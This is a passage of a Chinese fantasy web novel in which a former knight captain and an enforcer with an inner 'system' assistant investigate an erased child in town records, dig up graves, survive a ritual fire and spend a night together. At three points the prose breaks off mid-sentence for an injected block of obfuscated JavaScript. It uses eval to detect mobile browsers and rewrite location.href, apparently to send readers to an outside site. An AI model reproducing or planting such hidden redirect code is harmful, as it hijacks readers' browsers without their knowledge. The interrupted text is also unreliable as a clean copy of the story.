“所以,”单议秋话锋一转,回到了最初那个令人不安的话题,“我相信那个小女孩是真的存在的。”
他大发慈悲般地将那个要命的问题翻了篇,谢寒声却只觉得后背起了一层黏腻的冷汗,冷风一吹,激得他打了个寒颤。
他不想深究对方为何提起三年前的旧事,只能顺着眼下唯一安全的话题说下去:“那就说明是有人修改了档案。”
“是的。”单议秋点了点头,似乎对这个结论毫不意外,“所以我建议,我们最好先去镇上的档案保管处看看。等晚上……再回这里。”
他意有所指地瞥了一眼远处那栋插着褪色小旗子的灰暗房屋。
“你准备怎么去?”谢寒声看着他,兜帽下的眉头蹙紧,“恕我直言,执法官,你太引人注目了。整个大陆都在夸你好看。我很肯定,有些孩子手里可能还收着印了你画像的祈祷画片。”
这不是恭维,而是陈述一个麻烦的事实。
“这不是问题。”单议秋答得轻描淡写,“我可以去任何我想去的地方。”
说话间,他忽然伸手,在谢寒声腰侧不轻不重地拍了一下。
那位置很微妙,恰好落在紧绷的肌肉与覆盖着坚硬鳞片的皮肤交界处。
掌心传来的温度透过衣料,混合着那一触即分的力道,谢寒声像被电流猝不及防地击中,往旁边闪躲。
而始作俑者完全不在意他的反应,拍了一下就收回手,神色如常地转过身,率先迈开步子,朝着小镇边缘一段早已废弃的旧铁道走去。
他的脚步平稳,背影在铅灰色的天幕下格外清晰,笃定身后的人一定会跟上。
谢寒声站在原地,腰侧被碰过的地方还残留着那一丝奇异的触感。
他盯着那个渐行渐远的背影,抿了抿唇,抬脚跟了上去。
……
档案所的位置离小镇不远,沿着旧铁道走上几公里,穿过一片荒芜的坡地就能望见。
步行很快,但等他们走到那栋低矮建筑前时,天边最后一缕铅灰色的光即将消失。
铁栅栏门已经锁上了,一把笨重的老式挂锁悬在中间。
这种偏僻地方的公共机构,下班总是格外早,没人愿意在昏暗的房间里多待一刻。
谢寒声站在门前,看了看天色,又看了看那把锁:“看来得明天再来了。”
单议秋闻言,很奇怪地瞥了他一眼。
谢寒声对上他的视线,沉默两秒,突然明悟了。
他压低声音:“你要闯进一个已经下班锁门的政府机关?”
单议秋轻轻叹了口气,对这位前骑士团长过于正直的思维感到些许无奈。
他伸手拨弄了一下那把锁,锁身发出沉闷的撞击声。
“我对撬锁有些研究,”他若有所思,“不过这把锁看起来也确实够破的。”
他说着,抬起眼,再次看向谢寒声。
这次,谢寒声完全读懂了他眼神里的暗示。
他没再说话,只是迅速抬眼,借着最后一点天光警惕地扫视一圈。
确认无人后,他上前一步,右手握住锁头下半段,五指收紧,猛地向下一扯——
咔嚓。
一声并不响亮的金属断裂声后,那把比成年男人拇指还粗的铸铁挂锁干脆利落地碎成三段,掉落在积着厚厚灰尘的水泥地上。
谢寒声面无表情地推开吱呀作响的铁栅栏门,侧身让开一步,对单议秋做了个“请”的手势。
单议秋毫不客气,大摇大摆地走了进去,身影没入门内更深的黑暗中。
……
采石小镇几十年前曾有过短暂的兴盛期,但随着矿产枯竭、环境恶化,离开的人远比留下的多,剩下的人口档案簿册,稀稀拉拉只占了几个架子。
单议秋目标明确,又指挥谢寒声处理掉了两道内部木门上同样不中用的锁——再次狠狠损害了公共财产后——他们终于找到了存放户籍档案的区域。
“史密斯一家,对吧?”
单议秋蹲在角落的架子前,萤石的光晕照亮他的侧脸和面前摊开的硬壳册子,“住在小广场西侧,门牌372号。”
谢寒声点点头,挨着他蹲了下来,视线略过摊开的册页。
泛黄粗糙的纸页上,墨水字迹因为潮湿有些晕开。
户主:约翰·史密斯。配偶:玛丽·史密斯。子女信息一栏,是刺眼的空白。
单议秋把册子往他面前推了推,意思不言而喻。
谢寒声盯着那片空白看了几秒,没说话,只是伸手从旁边又抽出一本更厚重、封皮写着“年度汇总及核查”的册子,就着萤石的光快速翻找起来。
纸张摩擦发出沙沙的轻响,蹭过人的耳朵。
“当时她俩在地窖里,”他一边翻找,一边低声回忆,“那个女人虽然快不行了,但眼睛一直没离开过那个小女孩的方向……我不觉得她们会毫无关系。”
“嗯哼,”单议秋靠在一旁的木架上,抱着手臂,萤石的光映得他眼底神色难辨,“我也觉得她们之间肯定有关系。”
“你怎么这么相信我?”谢寒声受宠若惊。
“我不是说过了吗?”单议秋语气不变,“你挺笨的,不会撒谎。”
“我不笨。”谢寒声为自己辩驳。
“嗯,我相信你。”单议秋随口应道,像在哄孩子。
他没再看谢寒声,转而用手指捻起面前那本分户册的纸页边缘,细细摩挲着纸张的质地。
“你对档案用纸有研究吗?”
“有一点。”谢寒声答道,目光没离开自己手里的汇总册,“以前在骑士团,除了日常事务,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228790|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要审阅和归档不少文件。纸张规格、用印流程,都有些规定。”
“那你摸摸这个。”
单议秋将手中捻着的那页纸,朝着谢寒声的方向递了递。
谢寒声暂时放下汇总册,接过那张纸。
指腹刚接触到纸面,轻轻一捻,他眉头就蹙了起来。
不同年份、不同部门的官方用纸,质地、厚度、甚至纤维手感都有细微差别,长期接触的人,手指会有记忆。
他又快速翻回户籍册的扉页,摸了摸记录户主和家庭概况的那张纸,然后手指移到后面记录家庭成员详细信息的那一页。
触感明显不同。
“这张纸是新的,”他看向单议秋,声音沉了下去,“至少和前面记录家庭基础信息的纸,不是同一批,甚至可能不是同一年份。”
按规矩,一个家庭的原始户籍档案,所有信息页应该使用统一规格的纸张一次性录入。除非发生重大变更,否则不会轻易更换内页。
单议秋从他手中接过那本总的户籍登记册,也摸了摸封皮和内页的纸张。
“这里的纸也换了。不是原始存档的那一批。”他放下册子,拍了拍手上的灰尘,对着谢寒声笑了一下。
“恭喜你,谢团长。你脑子没坏。应该是有人事后修改了户籍册,把那个小女孩的信息,连同她存在过的所有纸质痕迹一起抹掉了。”
然而,听到这个结论,谢寒声脸上非但没有浮现出被证实的轻松或喜悦,反而神色更加凝重,嘴唇抿成一条直线。
户籍信息可以被抹除,纸页可以被替换,可那个活生生的小女孩能去哪里?
谢寒声很确定,自己当时是把一个还有呼吸、会因恐惧而哭泣的孩子抱出了地窖。
她还活着。
就在这时,9653突然上线。
[检测到异常,小镇西北方向有持续波动的黑暗能量反应。]
单议秋维持着靠坐的姿势没动,目光却越过了谢寒声,投向档案室窗外那片沉沉的暮色。
“反应很强吗?”他问。
[不,]9653否认,[非常微弱,但是频率跟主角身上的很像,我觉得有必要提醒你。]
单议秋脸上那点浅淡的笑意消失了。
“……你最开始去那个小镇,”他忽然开口,问谢寒声,“是因为接到报告,说那边有异常的黑暗力量聚集?”
“对。”
谢寒声点头,注意力还放在户籍册上:“但我巡查了一圈,用探测符文和净化仪式都试过,没有发现明确的源头或大规模的侵蚀迹象。”
“也许,”单议秋喃喃自语,像是说给他听,又像是说给自己听,“只是你没发现。或者有人不想让你发现。”
话音落下,他毫无预兆地起身,动作带起衣摆扫过积尘的地面,却浑不在意。
他拍了拍手,唤来谢寒声的注意,脸上重新挂起那种让人心声不安的笑容。
“谢团长,”他歪了歪头,发出邀请,“接下来,我要带你去一个可能会有点刺激的地方,做一点比较刺激的事情。”
他顿了顿,很有礼貌地询问:“你要不要来?”
16. 挖坟
过去数年,作为执法团的首席执法官,单议秋曾不止一次发表过公开演讲。
任务停歇时,骑士团会聚在一起,在统一规定的时间里聆听这些演讲。没有具体意义,属于工作的一部分。
站在高处的单议秋永远平和从容,措辞精确,每一个字都经过斟酌,绝不会引起任何超出预期的联想——这是公开场合发言的基本原则。
谢寒声以为执法官平时也是这样的,但显然,他以己度人了。
单议秋实际上很擅长使用语言来诱导人。
“……”
谢寒声不会承认,但单议秋把话说出来的瞬间,他的喉咙不受控制地滚动了一下,视线也鬼使神差地下移,朝着对方被衣料妥帖包裹的腰身扫了一眼。
先前指尖触碰那片柔韧弧度的记忆,连同对方颈上属于他的齿痕,一并不合时宜地闪过脑海。
明知道这人嘴里吐不出什么好话,谢寒声还是听见自己挤出一个字:“……行。”
然后他就被带到了镇子边缘的公共墓地。
单议秋背着手,在几排歪歪扭扭、被灰尘和湿气侵蚀得字迹模糊的墓碑间慢悠悠地踱步,靴子偶尔踢开滚到脚边的小石子。
最后,他在一块看起来比周围更新也更不起眼的石碑前停下,用鞋尖点了点前方潮湿的泥土。
他侧过身,好整以暇地看着谢寒声,理所当然地吩咐:“开始挖吧。”
谢寒声:“……”
他沉默地看着那块无名无姓,只刻着一个简陋符号的墓碑,再看看单议秋那张在灰暗天光下过于赏心悦目的脸。
外面那些信誓旦旦传言“单议秋喜欢他”的人,绝对是疯了。脑子不仅进水,水恐怕还烧开了,烫得神志不清。
“为什么要挖人家的坟?”他问,声音里充满了荒谬感,试图找回一点逻辑。
单议秋没看他,目光落在那块墓碑上,观察上面苔藓的纹路。
“你不觉得奇怪吗?”他反问,“最初的报告是检测到此地有异常的黑暗力量波动,你们过来巡查,却什么都没发现。本来应该无功而返,偏偏这个时候,你‘偶然’得知了一起极其惨烈的家暴事件。”
接着,他转向谢寒声:“你刚把人从地窖里救出来,自己就出事了。紧接着,骑士团的人就到了,快得像是早就等在镇子外面,掐着表,专程赶来看你异变一样。”
太多巧合凑在一起,就不是巧合了。
谢寒声的脸色变了。
如果村子里的活人都没问题,那也许问题出在死人上面。
所以挖坟是必要的。哪怕这不符合公共良俗,哪怕这违背了他的处事原则。
一切都是为了人民。
谢寒声单手扶着铲子,深呼一口气准备开干,却发现提议挖坟的单议秋半点没有动手的意思。那人背着手,在几块墓碑间踱来踱去,还时不时很挑剔地打量。
谢寒声看了他一会儿,意识到单议秋根本不想干活,只是想找一块稍微干净些的地方坐下,等别人出力。
从心里叹了口气,他把外套脱下来,团了团丢过去,然后一言不发地开始挖。
……
土质比想象中更坚硬,谢寒声挖了很久,直到挖出一个六尺深的大坑,铲子才终于触及了棺材的木质表面。
“你不是很擅长。”单议秋说。
漂亮干净的执法官坐在衣服上面,拖着下巴评价他的挖坟技术,站着说话不腰疼。
谢寒声踩在棺材两端,揉了揉眉心,反问:“我为什么要擅长挖坟?”
“这是技术问题,”单议秋说,“你虽然不熟练,但是你力气很大,弥补了这个缺憾。”
谢寒声真的不需要这点毫无用处的夸奖。
“躲开点,”他说,“新下葬的棺材不好闻。”
其实身为执法官,单议秋肯定见过各式各样、各种腐败状态的尸体,但谢寒声瞥了眼还坐在自己衣服上的人,莫名觉得他可能不太想靠得太近,于是好心提醒。
单议秋果然往旁边挪了挪。
等他离远些,谢寒声用铲柄撬开钉子,接着手下发力,掀开了棺盖。
出乎意料的是,没有腐臭,也没有蠕动的蛆虫,棺材里面只有一捧灰——人已烧干净了,竟然是火葬。
谢寒声的眉头拧紧了。他撑着坑沿跳了下去,靴底落在棺木旁,发出沉闷的轻响。
单议秋蹲在坑边,举着一盏随身的光源为他照明。
谢寒声半跪下身,手中的铲子小心探入灰中,慢慢拨动。
骨灰搅动时发出沙沙的响声,头顶光线晃动,谢寒声粗略翻了一圈,铲尖在棺底触到了不一样的东西。
他动作一顿,改用指尖探入灰里,碰到了几片坚硬冰凉、边缘锐利的物件。
他捻起它们,举到光源下。
那是几枚指甲盖大小的鳞片,颜色暗沉,形状怪异。
“不如你的好看。”
单议秋的声音从上方传来,很轻,漫不经心地点评。
谢寒声瞥了他一眼,没接话,只将鳞片握进掌心。
这种鳞片属于异变者。火烧不掉,才会在骨灰中残留。
棺材里葬的不是普通人。
“有兴趣把其他几个新坟也挖一下吗?”单议秋问。
……
两个小时后,八个新坟依次被掘开。
八具棺材,八堆相似的鳞片,静静躺在单议秋摊开的手帕上。
谢寒声将铲子立在一旁,自己则坐在地上,喘着气。他原本想擦一下额角的汗,看见满手泥土又放弃了,微微仰起头,不让汗水划过眼睛。
见他这么费劲,单议秋很自然地抬手,用袖口替他抹了抹脸颊。
谢寒声没躲。
两人并肩坐着,挨得很近,呼吸在冰冷的空气里几乎纠缠在一起,谢寒声又一次想起单议秋之前说过的各种话。
就在这时,山脚下的小镇里,忽然有火光一闪而过。
不是灯火,而是移动跳跃的光点,像火把划破了沉沉的夜幕。
四周骤然安静下来,连风声都仿佛屏息。
谢寒声与单议秋对视一眼,同时站起身。
远处,那点光焰仍在摇曳,从广场中央为起点,朝着四周悠悠蔓延开。
“某个小镇村民突然决定要在广场中央纵火,带着全村人同归于尽,1到10分,你给这个可能打几分?”单议秋望着那片逐渐晕开的橙红,忽然问道。
谢寒声面无表情:“0分。”
单议秋点了点头,语气里听不出是轻松还是别的什么:“太好了,我也是这么觉得。”
山坡下,有居民发现了蔓延的火势,惊恐的尖叫声隐约传
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228791|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
火被发现得早,按理说应当很快被遏制,甚至不会出现伤亡,但两人同时察觉到了异样。
“不对,”谢寒声的声音沉了下去,瞳孔里映着远方跳动的的焰色,“那不是普通的火,扑不灭。”
“是异火,”单议秋接上了他的话,眉头紧锁,“但这里不应该有异火。”
“这里还有被莫名其妙修改的档案,和九具甚至更多的异变者棺材。”
不得不说,谢寒声是对的。这个采石小镇从一开始就很不对劲。
异火是不会被普通手段熄灭的,理论上可以烧毁一切,通常是骑士团在处理高危异变现场才会动用的极端手段。
火种的源头被严密保管在骑士团总部,每一簇的使用都需记录在案。
采石小镇出现的异火,只意味着一件事:骑士团内部有人在捣鬼。
“我想到了一个人,”单议秋的声音很轻,被夜风送过来,掺杂了冷意,“他一直在烦我,而且对你很有敌意。你愿意说出那个人的名字吗?”
他等待着身旁人的回答,可身侧只有一片突兀的寂静。
单议秋觉出不对,倏然转头。
然后,他正对上了一双近在咫尺的眼眸。
瞳孔边缘,一圈暗金色的细芒如同熔化的金属,正沿着虹膜悄然蔓延,在远处异火的映照下,流转着非人的光泽。
迎着单议秋瞬间绷紧的审视目光,谢寒声的嘴角却向上扯了一下。
那不是一个愉快的笑,更像猛兽呲出獠牙的前兆。
他笑着宣布:“我要把佐文特的脑袋砸成烂泥。”
钉子还好好地嵌在骨头里,封印理论上依然稳固。他为什么……
无数的念头窜过脑海,但单议秋只来得及捕捉到最关键的那个。
“你不能砸烂他的脑袋。”单议秋说。
山坡下火光冲天,混乱的哭喊与奔逃声已经织成一片。
“我觉得我可以,”谢寒声说,那圈暗金在他眼底无声晕开,侵占了更多区域,“就像我现在……可以这样。”
话音未落,一股不容抗拒的力量骤然箍住了单议秋的腰,将他猛地带向谢寒声的怀中。
几乎是同一秒钟,浓重的阴影自谢寒声背后急速张开延展,裹挟着两人拔地而起。
单议秋只感到疾风割过耳畔,脚下骤然悬空,视野中的墓地和山林急速下坠远离。
不过瞬息,失重感再次传来,他们已轰然落在小镇广场的中央。
[警告,主角异变程度正在加深。]9653的机械音在脑海响起。
还用它讲?有眼睛的人都能看出来。
足下是灼热的地面,诡异的异火在他们周身疯狂舞动舔舐,焰舌窜起数米之高。
然而那对收拢的巨大暗翼,却如同最坚固的屏障,将单议秋大半个人牢牢护在其下。灼热的火浪只能堪堪擦过他的衣袖边缘,留下焦痕,却无法真正伤及他分毫。
而在跃动的炽烈火光之下,广场石板的表面,赫然裸露出一片巨大而复杂的暗红色纹路。
纹路嵌入石质内部,蜿蜒交错,构成了一个层层嵌套的诡秘阵法。
火光肆虐中,谢寒声深深吸进一口气。
“9653,”单议秋盯着脚下随火焰呼吸般明灭的纹路,声音冷彻,“扫描分析这个阵法!”
17.明文规定
[可以扫描,但是需要时间。]9653应下。
机械音刚落。
轰——
仿佛天穹本身被撕裂的巨响碾过大地,唤起一阵连绵不断的混乱,狂风肆虐下,连异火都压低了几寸。
单议秋打了个哆嗦,感觉到压在自己腰间的手指也捏紧几分,两人一同向上看去。
颈项仰起的弧度牵扯着紧绷的视线,越过火焰与尘埃,直抵那片骤然异变的天空。
天空裂开一道污浊的缝隙,诡异的亮光闪烁刺眼,而在亮光之外,羽毛状的絮状物质从缝隙深处一片接一片地剥落下来。
这些羽毛轻得像幻觉,可当第一片擦过远处的钟楼尖顶时,石砌的塔尖如同被无形的巨力碾过,轰然坍塌。
紧接着,房舍、树木……
一切被它们触碰的实体,都发出不堪重负的崩裂声,而后,这些羽毛悄无声息地没入地表,像水滴渗进沙地。
[警告!能量读数突破阈值!]
9653的警报声极其尖锐,能量探测仪瞬间飙升的刺眼的红色危险区。
单议秋后背渗出冷汗,他几乎本能地抬手,掌心用力推向谢寒声腰侧:“躲开!别碰那些东西!”
触手是绷紧如岩石的肌肉,以及透过衣料传来的高得不正常的体温。
谢寒声没躲,他连眼皮都没动一下,箍在单议秋腰间的手臂滑向上方,五指铁钳般扣住他的后颈,不由分说地将单议秋的头按向自己颈侧。
单议秋的半边脸被按着撞上那片皮肤,在温热的触觉之下,是新生鳞片冰冷坚硬的边缘。
硝烟般的气息滚进鼻腔,他视线被迫上仰,恰好看见谢寒声喉结滚动,深深吸气——
下一秒,空中所有尚未落地的黑羽,齐齐一颤,随即改变轨迹,如同被无形漩涡牵引的鸦群,呼啸着向谢寒声涌来!
黑暗物质贴近时,单议秋裸露的皮肤泛起针扎般的刺痛。
他被裹在翅膀之中,和谢寒声心跳贴着心跳,因此能清晰地看见,羽毛在触及谢寒声身体轮廓的瞬间,并未造成任何物理损伤,而是像冰雪消融于热铁,悄然融化进去。
每融入一片,谢寒声眼瞳深处那圈鎏金色光芒便炽亮一分,颈侧那道尚未愈合的旧伤边缘,新生鳞片正以肉眼可见的速度蔓延伸展,覆盖住跳动的血管。
一种更原始也更沉重的存在感,从紧贴的身体内部透出来,压得单议秋呼吸微窒。
[提醒:任务书已更新。]
视野边缘,淡蓝色的系统任务面板无声浮现,原本固化的字迹如水波般扭曲溶解,又迅速重组为一行全新的文字:
看清文字的瞬间,单议秋瞳孔骤缩。
他们真的自主探索出了世界进程发展。
在他头顶,谢寒声的手继续向前,手指插进了单议秋后脑勺的发丝里,有一下没一下地按揉着。
他的动作很轻柔,可指尖每一下按压,都透过发根传来不容错辨的力量感,好像他随时都会改变主意,让轻柔的抚摸转为捏碎颅骨的手段。
单议秋在他怀里颤了颤,声音努力维持住平稳:“谢寒声,你在干什么?”
他挣扎着偏头左右环视,透过暗翼的缝隙,见到异火已无声地烧遍了整个废弃村落。
地面暗红的阵法纹路在火焰舔舐下彻底黯淡崩解,而随着阵法的熄灭,天边那道裂缝也像是耗尽了力气,缓缓弥合,最后一丝黑羽湮灭在逐渐清明的灰白天光里。
“我在拿回我的力量。”谢寒声说。
他低下头,鎏金色的瞳孔锁住单议秋的眼睛,目光带里着某种非人的审视,又有一种奇异的熟稔。
“执法官,我送你的东西,你怎么没带上?”
单议秋被他牢牢圈着,动弹不得,只能掀起眼帘:“我已经贴身收藏了,你还想怎么样呢?”
“从我脖子上抠下来的东西,当然该回到你的脖子上,”谢寒声的拇指无意识地摩挲过他后颈的皮肤,激起一阵细微的战栗,“做串项链怎么样?一定很衬你。”
单议秋倏地轻笑一声,身体放松,将大部分重量都卸在谢寒声绷紧的胳膊上。
“好啊。”
他答得干脆,神色中全无恐惧嫌恶,望向谢寒声的眼神里有一种接近于柔情的存在,就像曾经在牢房阴暗的角落里,即使被掐住脖子,他也愿意抚摸怪物脖颈上僵硬的鳞甲。
闻言,谢寒声的目光再次从对方脸上巡视而过。
“执法官,”看了一会儿后,他忽然开口,声音低哑下去,“你真好看。”
单议秋挑起一边眉毛:“我哪里好看?”
“眼睛好看,鼻子好看,嘴唇也好看,”谢寒声的视线随着话语逐一掠过这些部位,最后停在他微微开启的唇上,“那天我不该掐你脖子的。”
他顿了顿,补充道:“我现在很后悔。”
他嘴里说着温柔的情话,收拢的暗翼却愈发密不透风地将单议秋包裹起来。单议秋几乎完全蜷缩进这片浓稠的黑暗里,只能从胸腔到腿骨都紧紧贴着谢寒声,以他为唯一的支点,艰难地维持呼吸。
在这窒息的贴近中,一个盘旋已久的问题自然而然地滑出口。
“你还是你吗?”单议秋问,气息有些不稳,“或者已经是另一个灵魂?”
谢寒声低低地笑起来,胸腔震动传递到单议秋身上。
他故意理解成另一层意思:“你也不喜欢那个蠢货吗?”
“我不希望你用这种轻蔑的口吻称呼他,”单议秋认真地说,“我认识的谢寒声,正义,坚定,富有信念、毫无私心。我很欣赏他。他也许不那么善变,但他绝对不是蠢货。”
扣在他后脑的手指微微一顿,一个词引起了身边人的关注。
“你认为我毫无私心吗?”谢寒声问。
单议秋掀起眼皮,笑盈盈地看他,不答反问:“你有吗?”
从来问心无愧的骑士长也会有私心吗?
“……”
四目相对,良久后,谢寒声也笑了。
他没有回答单议秋的问题,反而俯下身,声音贴近耳廓,温热的气息拂过皮肤,“感谢你对我的评价。”
“我仍然是我,执法官,”他最终说道,翅膀的收拢力道似乎缓和了极其微小的刻度,让一丝微弱的空气得以流入,“只是看到了更多东西。”
太好了,主角既没有人格分裂,也没有被外来灵魂附身。
单议秋不动声色地松了口气,身体依然维持着卸去力道的姿态,乖顺地趴在谢寒声胸前,能屈能伸。
“既然你很感谢我,那现在能带我离开吗?”他轻声问,“骑士团的人恐怕很快就要到了。”
他们这次出行没有明确目的地报备,圣庭高层只知道单议秋带这位“不稳定因素”外出暂避风头,不知道他们来了采石镇。
如果被赶来的骑士团撞见,他们将丧失解释的先机,所以必须立刻离开。
谢寒声似乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233180|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很享受他这种依附的姿态,回答慢悠悠地拖着尾音:“可以,但你要怎么报答我呢?”
果然,异变不仅带来了力量,似乎也放大了某些恶劣秉性。明明是单议秋在替他收拾残局、规避风险,此刻却要被反向索取报酬。
单议秋心底觉得好笑,面上却很纵容,哄道:“只要你帮我离开,我一定会好好报答你的。”
谢寒声垂下眼,鎏金色的瞳孔微微收缩,斟酌执法官口中的“好好报答”,究竟代表什么。
两人在逐渐稀薄的硝烟中对视,片刻后,谢寒声愉快应下。
“好啊。”
话音落下的瞬间,收拢的暗翼猛然张开,接着向上掀起——
失重感骤然袭来。
不是缓慢升空,而是被一股强悍的力量带着直冲而上,脚下的焦土与废墟在视野里急速缩小。
狂风粗暴地挤压着肺叶,单议秋什么也做不了,只能像藤蔓般更紧地缠附住谢寒声的脖颈与腰身,鼻尖充斥着浓郁的硝烟和血腥气。
他闭了闭眼,将脸侧埋在对方颈窝,不去看下方飞速掠过的模糊景象。
……
飞行并未持续太久,谢寒声似乎对附近地形了如指掌,几个起落后,便带着单议秋撞开一扇高层旅馆的窗户,轻盈落入室内。
前一刻浓情蜜意的说着情话,下一秒就暴露真心,谢寒声松手的动作堪称随意,单议秋被他丢在床垫上,惯性使得他微微弹起,又陷落回去。
丢开之后,谢寒声看也没看他,径直走向房间那面布满灰尘的穿衣镜。
巨大的暗翼在他身后如潮水般收拢、隐没于肩胛之下。
他抬手解开身上那件早已破损不堪的衬衣纽扣,布料滑落,露出肌肉线条流畅的背部,以及清晰可见的从肩胛骨蔓延向脊椎两侧的新生暗色鳞片,在窗外透入的惨淡月光下,泛着金属般的冷硬光泽。
单议秋在床上调整了一个相对舒适的姿势,手肘支着身体,目光坦然地从对方绷紧的肩线扫到精窄的腰身,如同欣赏一件现世的危险艺术品。
即便9653没有解析出那个阵法全部的作用,看过方才那番景象,单议秋心里也拼凑出了大概轮廓:
有人试图在此地举行仪式,召唤或迎接某个属于黑暗的存在。只可惜那股被召唤而来的力量,阴差阳错,灌注进了谢寒声的体内,这才引起了他的异变。
有人想唤醒他们的神,神却把礼物扔给了路过的主角。真是无妄之灾。不过,从任务角度而言,这种结果勉强算得上运气不错。
单议秋向后仰身,靠在床头,凝视着月光如水。
这不是他第一次审视谢寒声的身体。但每次,单议秋都会客观地在心里给予赞美。
骨骼的架构漂亮,覆裹其上的肌肉匀称而充满爆发力,如今连生长出的异化鳞片,都排列出富有力量感的纹路。
而更妙的是,谢寒声也觉得他好看。
这种双向的吸引力,或许能成为一种高效的黏合剂。
镜中的谢寒声转动脖颈,目光穿过镜面,与他对上。
单议秋没有避开视线,反而故意勾了一下唇角。
随即,他在脑海中愉快问道:“9653,系统空间有明确规定,宿主不能与任务世界的主角发生性行为吗?”
系统沉默的时间比往常任何一次都要长,单议秋等待着。
[没有此类明文规定。] 9653回答。
那就是可以了。
18.昨夜种种
判断在脑中落定的瞬间,谢寒声已经逼近床边。
他单膝压上床垫,陈旧弹簧发出细微的呻吟,阴影完全笼罩下来:“我的报酬呢?”
“啊,你的报酬。”
单议秋轻声重复,唇角的笑意加深。
他抬起手臂,手指轻巧地勾住谢寒声的后颈,将人拉向自己。
距离骤然消失,额头相抵,呼吸交错,在这个昏暗的、尘埃浮动的空间里,连空气都变得黏稠。
太近了,近到谢寒声能看清对方眼中那个被缩小的映着晦暗月光的自己,
鎏金色的瞳孔,皮肤上未褪的暗鳞纹路,一张因异变与欲望而显得有些陌生的脸。
“谢团长帮我躲了个大麻烦,”单议秋的声音压得很低,像羽毛搔过耳膜,气息拂过对方的下唇,“我心里太感激了。”
他顿下半秒,更缓地开口,每个字都在精心挑选:“我该怎么感谢你呢?”
这不是谢寒声第一次感觉自己被引诱。
异变撕裂了他,却也强行打开了一层新的感官维度,世界时而清晰得刺目,时而蒙着疯狂的薄雾。
他常常分不清,眼前单议秋的每一句话、每一个眼神,究竟是现实,还是自己理智边缘滋生的幻象。
“我该怎么感谢你呢?” 单议秋又问了一遍。
他低垂眼眸,假装躲避着谢寒声的目光,呼吸的热度却那么近,快要烫进唇齿间。
一些染上疯狂底色的记忆碎片骤然翻涌——
阴暗牢房里,单议秋也是这样伏在他身上,指尖若有似无地蹭过新生鳞片的边缘,带起一阵意味不明的痒意。
索兰德那个弥漫着药味的房间,对方的手臂环过他的腰,却又在他恍惚的瞬间按在他背后未愈的伤口钉子上,眼尾洇开的薄红不知道是痛楚还是别的什么。
更早之前,在他自己的卧室床边,单议秋坦然承受了他粗鲁的触碰,仿佛被人握着腰身,也只是件稀松平常的小事……
答案其实早已悬在那里,像熟透的果实散发着甜腻气息,是谢寒声自己转开视线,盲目地忽略那些在血脉里叫嚣的渴望。
谢寒声喉结滚动,鎏金眼瞳深处的光晕剧烈地波动了一下。
他不再迟疑,放弃了那点本就摇摇欲坠的抵抗。
“你可以……”他的声音沙哑得不像话,淹没在随之落下的动作里,“……这样感谢我。”
话音未落,他吻了下去。
不是试探,更像一种宣告般的掠夺,唇齿撞在一起的力道让单议秋闷哼了一声,后背陷入僵硬的床垫里。
尘土的气息、硝烟的味道、还有彼此身上陌生而熟悉的气味,瞬间交织成一张密不透风的网。
单议秋的双手原本抵在对方胸膛,指尖下是坚硬鳞片与滚烫肌肤的奇异触感。他犹豫一下,指尖顺着绷紧的肩线向上滑去,最终虚虚地搭在了谢寒声宽阔的肩头。
月光从没拉严的窗帘缝隙斜切进来,照亮一隅飞舞的微尘,和床上交叠的身影。
布料摩擦发出窸窣碎响,间或溢出被吞没半截的压抑的鼻音。
一双手,肤色在昏暗中显得素白,搭在小麦色的坚实肩膀上,右手食指的指尖悠悠抬起,点过冰冷的金属钉帽。
……
……
谢寒声是在沙发上醒来的。
意识像沉在粘稠的潭底,挣扎着上浮,最先恢复的是感官,浑身骨头像被拆过一遍似的酸疼,深处又翻涌着一股陌生而充沛的精力,让他觉得自己能一拳砸穿墙壁。
这种感觉矛盾又突兀。
谢寒声皱着眉,试图撑起身体,粗糙的沙发面料摩擦过皮肤……
等等。
皮肤?
谢寒声动作一顿,彻底清醒过来。
盖在身上的薄被单随着起身滑落,堆叠在腰间,凉意贴上赤裸的胸膛、手臂和大腿。
视野逐渐对焦,思绪也彻底回笼。
当“自己什么都没穿”这个事实清晰无误地跳进脑海时,昨夜那些模糊的片段才像终于接收到信号,争先恐后地涌现出来。
昏暗光线里交缠的呼吸,后颈被紧扣的力道,唇齿间灼热的触感,还有一截素白手指慢悠悠划过后背,点在那枚钉子顶端。
“我该怎么感谢你呢?”单议秋在记忆中发问。
“你可以这样感谢我。”
谢寒声听见自己这样说。
单议秋靠在床头笑着,半点没有抗拒的意思,于是谢寒声听从内心,把他按在床上,吻住了那双唇。
……现在回想起来,天塌地陷也不过如此。
谢寒声撑着胳膊站起身,拽起被单胡乱围在腰间,心跳如擂鼓,视线仓惶地扫过房间。
